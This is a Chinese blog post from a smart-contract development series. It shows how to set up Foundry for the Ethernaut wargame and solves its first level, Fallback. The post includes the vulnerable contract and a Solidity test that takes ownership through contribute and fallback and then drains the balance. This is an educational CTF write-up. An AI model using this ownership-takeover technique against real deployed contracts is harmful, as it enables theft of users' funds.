iT邦幫忙

2022 iThome 鐵人賽

DAY 28
0

Foundry with Ethernaut

Synchronization Link Tree


Ethernaut

Intro.

Ethernaut is a Web3/Solidity based wargame inspired in overthewire.org, to be played in the Ethereum Virtual Machine. Each level is a smart contract that needs to be 'hacked'.

本篇主題是使用 Foundry 來對 Ethernaut 做練習,當然也可以在原始網站用 js 進行練習,但我覺得不管是使用 Solidity 還是 JS 都是需要熟悉這些互動過程和分析過程的,所以本篇使用比較少人用的 Foundry 來跟Ethernaut 玩玩!

  • Official repository: github.com/OpenZeppelin/ethernaut
  • Template repository: github.com/ciaranmcveigh5/ethernaut-x-foundry

Do in Foundry

首先在我們要的資料夾裡面初始化 Foundry 環境:

$ forge init

下載 ciaranmcveigh5/ethernaut-x-foundry:

$ git clone https://github.com/ciaranmcveigh5/ethernaut-x-foundry/tree/main/src/test

這一步我們要把所有 ethernaut-x-foundry/src 中的檔案移到當初我們 initsrc 資料夾中建立的 ethernaut 資料夾,移動完後的檔案長這樣:

$ cd src
$ tree
>
├─ethernaut
│  ├─AlienCodex
│  ├─CoinFlip
│  ├─Delegation
│  ├─Denial
│  ├─Dex
│  ├─DexTwo
│  ├─Elevator
│  ├─Fallback
│  ├─Fallout
│  ├─Force
│  ├─GatekeeperOne
│  ├─GatekeeperTwo
│  ├─King
│  ├─MagicNum
│  ├─Motorbike
│  ├─NaughtCoin
│  ├─Preservation
│  ├─Privacy
│  ├─PuzzleWallet
│  │  └─openzeppelin
│  ├─Recovery
│  ├─Reentrance
│  ├─Shop
│  ├─Telephone
│  ├─test
│  │  └─utils
│  ├─Token
│  └─Vault
└─test

其中 src/ethernaut/test 這個資料夾是我們從 ethernaut-x-foundry/src 中複製下來的解答們,大家可以先試試看不要看解答做題目喔,如果真的寫不出來再去看看提示吧!這邊我會選擇先把它們刪掉哈哈哈哈哈!

foundry.toml 中設定 remappings:

[profile.default]
src = 'src'
out = 'out'
libs = ['lib']
remappings = ['forge-std/=lib/forge-std/src/',
              'openzeppelin-contracts/=lib/openzeppelin-contracts/']

# See more config options https://github.com/foundry-rs/foundry/tree/master/config

0. Hello Ethernaut

那首先在 src/test 中建立一個檔案 00-HelloEthernaut.t.sol:

pragma solidity >=0.6.0 <0.9.0;

import "forge-std/Test.sol";
import "../ethernaut/Fallback/FallbackFactory.sol";
import "../ethernaut/Ethernaut.sol";

contract HelloEthernautTest is Test {
    function setUp() public {}

    function testExample() public {
        assertTrue(true);
    }
}

進行測試看有沒有正常抓到檔案們和一切有沒有問題!

$ forge test
>
Running 1 test for src\test\00-HelloEthernaut.t.sol:HelloEthernautTest
[PASS] testExample() (gas: 212)
Test result: ok. 1 passed; 0 failed; finished in 1.78ms

未來我們的所有解題模板都是以上這個框架,只是換了 testFunction 的 body 跟 import 的檔案而已!接下來就可以大寫特寫囉!


Cast an eye over the “01-Fallback”

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10; // Latest solidity version

import 'openzeppelin-contracts/contracts/utils/math/SafeMath.sol'; // Path change of openzeppelin contract

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = payable(msg.sender); // Type issues must be payable address
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether, "msg.value must be < 0.001"); // Add message with require
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = payable(msg.sender); // Type issues must be payable address
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

  
  fallback() external payable { // naming has switched to fallback
    require(msg.value > 0 && contributions[msg.sender] > 0, "tx must have value and msg.send must have made a contribution"); // Add message with require
    owner = payable(msg.sender); // Type issues must be payable address
  }
}

Analysis

這題其實非常容易,就單純是要想辦法把 owner 換成自己,有兩種方法可以更改 owner,分別是:

  1. contribute()
  2. fallback()

Template

pragma solidity >=0.6.0 <0.9.0;

import "forge-std/Test.sol";
import "../ethernaut/<LevelName>/<LevelNameFactory>.sol";
import "../ethernaut/Ethernaut.sol";

contract <LevelNameTest> is Test {

    Ethernaut public ethernaut;
    address attacker = address(123456789);

    function setUp() public {
        ethernaut = new Ethernaut();
        vm.deal(attacker, 5 ether);
    }

    function testLevelHack() public {
        /**********************************
        // LEVEL SETUP 
        **********************************/
        LevelNameFactory levelNameFactory = new LevelNameFactory();
        ethernaut.registerLevel(levelNameFactory);
        vm.startPrank(attacker);
        address levelAddress = ethernaut.createLevelInstance(levelNameFactory);
        Fallback ethernautFallback = Fallback(payable(levelAddress));

        /**********************************
        // LEVEL ATTACK 
        **********************************/
        
        // pass...

        /**********************************
        // LEVEL SUBMISSION 
        **********************************/
        bool levelSuccessfullyPassed = ethernaut.submitLevelInstance(
            payable(levelAddress)
        );
        vm.stopPrank();
        assert(levelSuccessfullyPassed);
    }
}

Attack

pragma solidity >=0.6.0 <0.9.0;

import "forge-std/Test.sol";
import "../ethernaut/Fallback/FallbackFactory.sol";
import "../ethernaut/Ethernaut.sol";

contract FallbackTest is Test {

    // pass...

    function testFallbackHack() public {
        /**********************************
        // LEVEL SETUP 
        **********************************/
        // pass...

        /**********************************
        // LEVEL ATTACK 
        **********************************/
        
        // Contribute 1 wei - verify contract state has been updated
        ethernautFallback.contribute{value: 1 wei}();
        assertEq(ethernautFallback.contributions(attacker), 1 wei);

        // Call the contract with some value to hit the fallback function - .transfer doesn't send with enough gas to change the owner state
        payable(address(ethernautFallback)).call{value: 1 wei}("");
        // Verify contract owner has been updated to 0 address
        assertEq(ethernautFallback.owner(), attacker);

        // Withdraw from contract - Check contract balance before and after
        emit log_named_uint("Fallback contract balance", address(ethernautFallback).balance);
        ethernautFallback.withdraw();
        emit log_named_uint("Fallback contract balance", address(ethernautFallback).balance);

        /**********************************
        // LEVEL SUBMISSION 
        **********************************/
        // pass...
    }
}

Closing

這裡礙於篇幅只介紹第一題,大家可以順著自己下去玩看看,雖然使用 Foundry 時有可能會讓某些步驟變得比較簡單,但也可以嘗試自己加深難度喔!

雖然最近很多 CTF 有一點太難了很像是故意考某個小版本無關痛癢的 bug,不過知名的大 CTF 題目還是很值得練習一下的!未來我也會發布一連串的 CTF 題庫解,因為公司需求的關係我通常是用 Foundry 去做為開發環境,可以繼續關注我的 Medium!

Reference


最後歡迎大家拍打餵食大學生0x2b83c71A59b926137D3E1f37EF20394d0495d72d


上一篇
Day 27 - Contrac Security: Auditing
下一篇
Day 29 - Blockchain Developer Roadmap
系列文
Smart Contract Development Breakdown30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言